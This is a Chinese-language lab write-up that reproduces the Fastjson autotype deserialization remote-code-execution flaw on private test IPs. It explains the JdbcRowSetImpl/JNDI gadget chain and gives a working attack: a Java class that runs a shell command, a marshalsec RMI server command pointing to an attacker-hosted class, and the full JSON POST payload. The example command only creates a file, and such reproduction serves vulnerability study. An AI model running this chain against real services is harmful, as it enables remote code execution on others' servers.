漏洞成因:
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,
那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,
若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
环境搭建:
1、目标服务器 http://192.168.81.128:8090
2、攻击rmi机器 http://192.168.81.1:1099
3、攻击者站点 http://192.168.81.128:8080
漏洞复现
192.168.81.128:8080站点准备
文件代码很简单,就是为了在/tmp目录下生成success文件:
TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
可以通过如下方式更新服务端信息:
curl http://192.168.81.128:8090/ -H "Content-Type: application/json" --data '{"name":"Bob", "age":20}'
首先,编译执行命令的代码并部署到本地服务器上
javac TouchFile.java
编译生成 TouchFile.class文件。
拷贝TouchFile.class文件到/usr/local/tomcat/webapps/ROOT/目录下
docker ps -a 获取容器ID:d3d961fe7200
将主机文件拷贝到docker的容器内
docker cp TouchFile.class d3d961fe7200:/usr/local/tomcat/webapps/ROOT/
进入docker容器:
# 首先使用下面的命令,查看容器ID(CONTAINER ID):
docker ps -a
# 然后用下面的命令进入容器,就可以使用bash命令浏览容器里的文件:
docker exec -it [CONTAINER ID] bash
# 有的镜像没有bash命令,可以用对应的shell,比如sh
docker exec -it [CONTAINER ID] sh
docker exec -it d3d961fe7200 bash
访问:http://192.168.81.128:8080/TouchFile.class
RMI服务器准备
源码地址:https://github.com/mbechler/marshalsec
进入marshalsec 目录,使用mvn clean package -DskipTests命令编译出marshalsec的jar包:
使用marshalsec启动一个rmi服务并监听1099端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.81.128:8080/#TouchFile" 1099
- http://192.168.81.128:8080为存放了恶意class文件的tomcat站点
- TouchFile制定的是远程TouchFile累
- 1099为RMI服务监听的端口
攻击请求包构造
向服务器发送Payload,并带上RMI的地址,POST包内容如下:
POST / HTTP/1.1
Host: 192.168.81.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.81.1:1099/TouchFile",
"autoCommit":true
}
}
发送请求后,服务端会返回500
注意:
dataSourceName指定RMI服务器地址,
Content-Type类型修改为:application/json
发送POST包,RMI服务器上可以看到成功收到请求,并请求http://192.168.81.128:8080/TouchFile.class:
我们回到服务器中查看,可以看到touch /tmp/success执行成功,/tmp目录下成功生成success文件
参考:
https://github.com/alibaba/fastjson/wiki/security_update_20170315
https://github.com/shengqi158/fastjson-remote-code-execute-poc
https://github.com/mbechler/marshalsec
[http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)